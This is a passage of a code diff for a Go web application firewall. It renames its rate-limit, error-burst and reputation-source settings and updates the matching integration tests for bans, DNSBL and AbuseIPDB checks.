Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||
Alerts: params.Alerts,
|
||||
})
|
||||
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
|
||||
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
|
||||
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.IPReputationCacheTTL,
|
||||
Timeout: cfg.DNSBLAbuseIPDBTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
|
||||
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
|
||||
Alerts: params.Alerts,
|
||||
})
|
||||
|
||||
@@ -224,7 +220,7 @@ func newReputation(
|
||||
|
||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
|
||||
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
|
||||
// up to SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE, with the exclusions in
|
||||
// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
|
||||
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_WAF_APPS,
|
||||
// or nil while SWW_WAF_CORE_RULE_SET_MODE is off. It
|
||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||
@@ -232,19 +228,15 @@ func newReputation(
|
||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||
// an error in every mode. While the mode is off, a set file is loaded with the
|
||||
// Core Rule Set only to check it.
|
||||
func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
|
||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff &&
|
||||
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
||||
if cfg.WAFMode == config.WAFModeOff &&
|
||||
cfg.CoreRuleSetExclusionsFile == "" {
|
||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
||||
}
|
||||
|
||||
coreRuleSet, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: cfg.CoreRuleSetParanoiaLevel,
|
||||
DisabledRules: cfg.CoreRuleSetDisabledRules,
|
||||
BodyInspectionSize: min(
|
||||
cfg.CoreRuleSetBodyInspectionSize,
|
||||
QuestionBodyMaxBytes-1,
|
||||
),
|
||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
||||
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||
Apps: cfg.Apps,
|
||||
})
|
||||
@@ -255,7 +247,7 @@ func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
|
||||
)
|
||||
}
|
||||
|
||||
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff {
|
||||
if cfg.WAFMode == config.WAFModeOff {
|
||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
||||
}
|
||||
|
||||
@@ -265,7 +257,7 @@ func NewCoreRuleSet(cfg *config.WAF) (*coreruleset.CoreRuleSet, error) {
|
||||
// handler is waf's handler. It holds what every request shares; what
|
||||
// belongs to one request is in a request.
|
||||
type handler struct {
|
||||
config *config.WAF
|
||||
config *config.Config
|
||||
requestLog io.Writer
|
||||
processLog *slog.Logger
|
||||
now func() time.Time
|
||||
|
||||
+37
-39
@@ -56,35 +56,35 @@ const (
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
mode = "SWW_WAF_MODE"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_WAF_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_WAF_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||
asnAndCountryLookupTimeout = "SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS"
|
||||
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
||||
tagDeny = "SWW_WAF_TAG_DENY"
|
||||
mode = "SWW_WAF_MODE"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_WAF_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_WAF_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
||||
tagDeny = "SWW_WAF_TAG_DENY"
|
||||
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
|
||||
denyKP = "country=KP"
|
||||
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
banResponse = "SWW_WAF_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||
limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE"
|
||||
maxBans = "SWW_WAF_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
||||
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
||||
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
|
||||
coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
||||
denyKP = "country=KP"
|
||||
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
banResponse = "SWW_WAF_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
|
||||
maxBans = "SWW_WAF_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
||||
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
||||
rulesDir = "SWW_WAF_RULES_DIR"
|
||||
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
||||
)
|
||||
|
||||
// off is the value that switches a setting off.
|
||||
@@ -301,7 +301,7 @@ func startProxyWithGeoJS(
|
||||
|
||||
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
||||
// bans made by the time now tells, and returns waf's server as well, whose
|
||||
// Addr is where waf listens. Unless env sets SWW_WAF_RULE_FILES_DIR, it is an empty
|
||||
// Addr is where waf listens. Unless env sets SWW_WAF_RULES_DIR, it is an empty
|
||||
// directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
|
||||
// the label instance of every metric.
|
||||
func startProxyWithClock(
|
||||
@@ -362,19 +362,17 @@ func serve(t *testing.T, server *waf.Server) {
|
||||
|
||||
// startRProxy starts rproxy in front of the app at appURL, asking the waf
|
||||
// at wafAddr, with the settings in env on top of the defaults, and returns
|
||||
// where it listens. What it writes is dropped.
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS is a minute unless env sets it, so that
|
||||
// on a busy host SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION does not
|
||||
// decide.
|
||||
// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
|
||||
// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
|
||||
func startRProxy(
|
||||
t *testing.T, wafAddr, appURL string, env map[string]string,
|
||||
) string {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
|
||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||
"SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS": "60000",
|
||||
"SWW_RPROXY_WAF_BACKEND": "http://" + wafAddr,
|
||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||
"SWW_RPROXY_TIMEOUT_MS": "60000",
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
@@ -442,7 +440,7 @@ func newWAFWith(
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
ruleFilesDir: t.TempDir(), instanceName: "app", coreRuleSetMode: off,
|
||||
rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
|
||||
}
|
||||
if geojsURL == "" {
|
||||
settings[lookupSource] = off
|
||||
@@ -450,7 +448,7 @@ func newWAFWith(
|
||||
|
||||
maps.Copy(settings, env)
|
||||
|
||||
cfg, err := config.WAFFromEnvironment(configtest.Viper(settings))
|
||||
cfg, err := config.FromEnvironment(configtest.Viper(settings))
|
||||
if err != nil {
|
||||
t.Fatalf("settings %v: %v", settings, err)
|
||||
}
|
||||
@@ -463,7 +461,7 @@ func newWAFWith(
|
||||
)
|
||||
|
||||
ruleFiles, err := rules.Load(rules.Params{
|
||||
Dir: cfg.RuleFilesDir, Enabled: cfg.RuleFilesEnabled, ProcessLog: processLog,
|
||||
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rule files: %v", err)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package waf
|
||||
|
||||
// The heuristic refusal_limit. It reads SWW_WAF_REFUSALS_LIMIT_PER_MINUTE and
|
||||
// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
|
||||
// SWW_WAF_BAN_RESPONSE.
|
||||
|
||||
import (
|
||||
@@ -14,9 +14,9 @@ import (
|
||||
// refusalLimit counts the request once it has been answered, if waf
|
||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE such refusals of the client within a minute break
|
||||
// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||
// heuristics skip, is not counted, and nothing is while the limit is off.
|
||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type refusalLimit struct{}
|
||||
|
||||
@@ -28,7 +28,7 @@ func (refusalLimit) check(
|
||||
now time.Time,
|
||||
) *verdict {
|
||||
cfg := rq.h.config
|
||||
if cfg.RefusalsLimitPerMinute == 0 {
|
||||
if cfg.ErrorBurstThreshold == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -37,7 +37,7 @@ func (refusalLimit) check(
|
||||
}
|
||||
|
||||
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
|
||||
cfg.RefusalsLimitPerMinute)
|
||||
cfg.ErrorBurstThreshold)
|
||||
if !over {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -15,7 +15,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE"
|
||||
const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
|
||||
|
||||
// refused is a request the tests here send, which waf refuses after a rule
|
||||
// file match.
|
||||
@@ -48,29 +48,29 @@ func (r refused) send(s *sender, from string) logLine {
|
||||
return logLine{}
|
||||
}
|
||||
|
||||
// startForRefusalLimit is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_REFUSALS_LIMIT_PER_MINUTE at limit, and the settings in env.
|
||||
func startForRefusalLimit(
|
||||
t *testing.T, limit string, env map[string]string,
|
||||
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
||||
func startForErrorBurst(
|
||||
t *testing.T, threshold string, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
refusalsLimitPerMinute: limit,
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
errorBurstThreshold: threshold,
|
||||
rulesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
return startWithClock(t, "", settings)
|
||||
}
|
||||
|
||||
func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
// refusals are four, one over the limit of three.
|
||||
// refusals are four, one over the threshold of three.
|
||||
refusals []refused
|
||||
// nextAction is the action of the client's next request: the next
|
||||
// request after a ban for a ban rule makes it permanent.
|
||||
@@ -90,7 +90,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForRefusalLimit(t, "3", nil)
|
||||
s, _, _ := startForErrorBurst(t, "3", nil)
|
||||
|
||||
// Three refusals break nothing, and the app's answers between
|
||||
// them are not counted.
|
||||
@@ -109,8 +109,8 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// The fourth is answered as the others were, breaks the refusal
|
||||
// limit, and bans the client.
|
||||
// The fourth is answered as the others were, breaks the error
|
||||
// burst, and bans the client.
|
||||
line := tc.refusals[3].send(s, client)
|
||||
if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
|
||||
line.Offence != requestlog.OffenceLimit {
|
||||
@@ -130,7 +130,7 @@ func TestRefusalLimitBreaksAtOneOverTheLimit(t *testing.T) {
|
||||
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startForRefusalLimit(t, "1", nil)
|
||||
s, _, _ := startForErrorBurst(t, "1", nil)
|
||||
|
||||
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
|
||||
|
||||
@@ -146,10 +146,10 @@ func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
`{"window": "minute", "count": 2, "limit": 1}`)
|
||||
}
|
||||
|
||||
func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startForRefusalLimit(t, "2", nil)
|
||||
s, clk, server := startForErrorBurst(t, "2", nil)
|
||||
start := clk.Now()
|
||||
|
||||
blockRule.send(s, client)
|
||||
@@ -221,18 +221,18 @@ func TestRefusalLimitBanNotesHistoryAndMetrics(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||
asnAndCountryLookupTimeout: "3600000",
|
||||
refusalsLimitPerMinute: "2",
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
lookupTimeout: "1h",
|
||||
errorBurstThreshold: "2",
|
||||
rulesDir: writeRules(t, testRules),
|
||||
tagLimitPercent: countryTagDEHalf,
|
||||
})
|
||||
|
||||
// Half of the limit would be one, which the second refusal is over.
|
||||
// Half of the threshold would be one, which the second refusal is over.
|
||||
for range 2 {
|
||||
line := blockRule.send(s, fromDE)
|
||||
if line.LimitHit != "" {
|
||||
@@ -252,7 +252,7 @@ func TestRefusalLimitIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
statuses := map[string]int{
|
||||
@@ -266,8 +266,8 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
w.WriteHeader(statuses[r.URL.Path])
|
||||
},
|
||||
map[string]string{
|
||||
refusalsLimitPerMinute: "1",
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
errorBurstThreshold: "1",
|
||||
rulesDir: writeRules(t, testRules),
|
||||
},
|
||||
)
|
||||
|
||||
@@ -277,7 +277,7 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// The first refusal is one, not over the limit.
|
||||
// The first refusal is one, not over the threshold.
|
||||
line := blockRule.send(s, client)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
||||
@@ -293,23 +293,23 @@ func TestRefusalLimitDoesNotCountTheAppsAnswers(t *testing.T) {
|
||||
wantAlerts(t, queue)
|
||||
}
|
||||
|
||||
func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
limit string
|
||||
// broken is whether the 31st refusal breaks the refusal limit.
|
||||
threshold string
|
||||
// broken is whether the 31st refusal breaks the error burst.
|
||||
broken bool
|
||||
}{
|
||||
{"", true},
|
||||
{off, false},
|
||||
} {
|
||||
t.Run(refusalsLimitPerMinute+"="+tc.limit, func(t *testing.T) {
|
||||
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
env := map[string]string{ruleFilesDir: writeRules(t, testRules)}
|
||||
if tc.limit != "" {
|
||||
env[refusalsLimitPerMinute] = tc.limit
|
||||
env := map[string]string{rulesDir: writeRules(t, testRules)}
|
||||
if tc.threshold != "" {
|
||||
env[errorBurstThreshold] = tc.threshold
|
||||
}
|
||||
|
||||
s, _, _ := startWithClock(t, "", env)
|
||||
@@ -322,7 +322,7 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||
broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
|
||||
if broken != tc.broken {
|
||||
t.Errorf(
|
||||
"the 31st refusal broke the refusal limit: %t, want %t",
|
||||
"the 31st refusal broke the error burst: %t, want %t",
|
||||
broken,
|
||||
tc.broken,
|
||||
)
|
||||
@@ -331,7 +331,7 @@ func TestRefusalLimitOffOrAtItsDefault(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
@@ -339,7 +339,7 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _, _ := startForRefusalLimit(t, "1", map[string]string{
|
||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
||||
})
|
||||
|
||||
@@ -367,10 +367,10 @@ func TestRefusalLimitCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _ := startForRefusalLimit(
|
||||
s, clk, _ := startForErrorBurst(
|
||||
t,
|
||||
"1",
|
||||
map[string]string{limitBanDuration: "1s"},
|
||||
@@ -389,13 +389,13 @@ func TestRefusalLimitBanSetsTheRefusalsBackToZero(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeLogsAndAlertsABrokenRefusalLimit(t *testing.T) {
|
||||
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
mode: observe,
|
||||
refusalsLimitPerMinute: "1",
|
||||
ruleFilesDir: writeRules(t, testRules),
|
||||
mode: observe,
|
||||
errorBurstThreshold: "1",
|
||||
rulesDir: writeRules(t, testRules),
|
||||
})
|
||||
start := clk.Now()
|
||||
held := bans.Ban{
|
||||
|
||||
@@ -8,7 +8,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_DNSBL_ABUSEIPDB_ACTION that
|
||||
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that
|
||||
// refuses the requests of a client a source lists.
|
||||
const deny = "deny"
|
||||
|
||||
|
||||
@@ -28,7 +28,7 @@ const (
|
||||
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
|
||||
)
|
||||
|
||||
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_DNSBL_ABUSEIPDB_ACTION:
|
||||
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_REPUTATION_ACTION:
|
||||
// limitHalf gives a listed client half of every limit, and limitQuarter a
|
||||
// quarter.
|
||||
const (
|
||||
@@ -155,7 +155,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
||||
"dnsbl",
|
||||
map[string]string{
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||
dnsblAbuseIPDBAction: actionDeny,
|
||||
reputationAction: actionDeny,
|
||||
},
|
||||
func(_ *testing.T, server *waf.Server) {
|
||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||
@@ -164,7 +164,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(
|
||||
},
|
||||
{
|
||||
"abuseipdb",
|
||||
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
|
||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
||||
func(_ *testing.T, server *waf.Server) {
|
||||
loadScores(server, map[string]int64{client: 80})
|
||||
},
|
||||
@@ -308,8 +308,8 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(
|
||||
},
|
||||
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
|
||||
{
|
||||
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT's in place of the file's for the byte limits",
|
||||
map[string]string{asnBytesLimitPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
|
||||
"SWW_WAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
|
||||
map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -417,9 +417,9 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
||||
|
||||
// The DNSBL settings.
|
||||
const (
|
||||
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
||||
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
||||
dnsblAbuseIPDBAction = "SWW_WAF_DNSBL_ABUSEIPDB_ACTION"
|
||||
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
||||
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
||||
reputationAction = "SWW_WAF_REPUTATION_ACTION"
|
||||
)
|
||||
|
||||
// The DNSBL zones these tests name, which are never asked about the
|
||||
@@ -432,7 +432,7 @@ const (
|
||||
noResolver = "127.0.0.1:9"
|
||||
)
|
||||
|
||||
func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
||||
@@ -453,7 +453,7 @@ func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
// Half of 4 requests a minute: the third breaks the limit.
|
||||
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
|
||||
[]string{forward, forward, requestlog.ActionClientIsRateLimited},
|
||||
"50 from " + dnsblAbuseIPDBAction,
|
||||
"50 from " + reputationAction,
|
||||
},
|
||||
{
|
||||
actionLog, []int{http.StatusOK, http.StatusOK, http.StatusOK},
|
||||
@@ -465,7 +465,7 @@ func TestEachDNSBLAbuseIPDBActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute, dnsblZones: dnsblZone + "," + otherZone,
|
||||
dnsblResolver: noResolver, dnsblAbuseIPDBAction: tc.action,
|
||||
dnsblResolver: noResolver, reputationAction: tc.action,
|
||||
})
|
||||
listedBy := map[string][]string{
|
||||
fromDE: {dnsblZone, otherZone}, fromKP: {otherZone},
|
||||
@@ -523,7 +523,7 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
|
||||
|
||||
s, server, queue := startWithLookups(t, map[string]string{
|
||||
blocklistURLs: dropURL, dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||
dnsblAbuseIPDBAction: actionDeny, allowNets: fromDE,
|
||||
reputationAction: actionDeny, allowNets: fromDE,
|
||||
})
|
||||
loadLists(t, server, map[string][]string{dropURL: {fromKP}})
|
||||
loadVerdicts(
|
||||
@@ -566,7 +566,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
||||
{
|
||||
"dnsbl",
|
||||
map[string]string{
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionLog,
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
|
||||
},
|
||||
func(server *waf.Server) {
|
||||
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
||||
@@ -575,7 +575,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
||||
},
|
||||
{
|
||||
abuseipdb,
|
||||
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionLog},
|
||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
|
||||
func(server *waf.Server) {
|
||||
loadScores(server, map[string]int64{fromDE: 80})
|
||||
},
|
||||
@@ -602,7 +602,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
||||
t.Parallel()
|
||||
|
||||
s, server, queue := startWithLookups(t, map[string]string{
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
|
||||
mode: observe,
|
||||
})
|
||||
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
||||
@@ -617,33 +617,33 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSBLAbuseIPDBLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
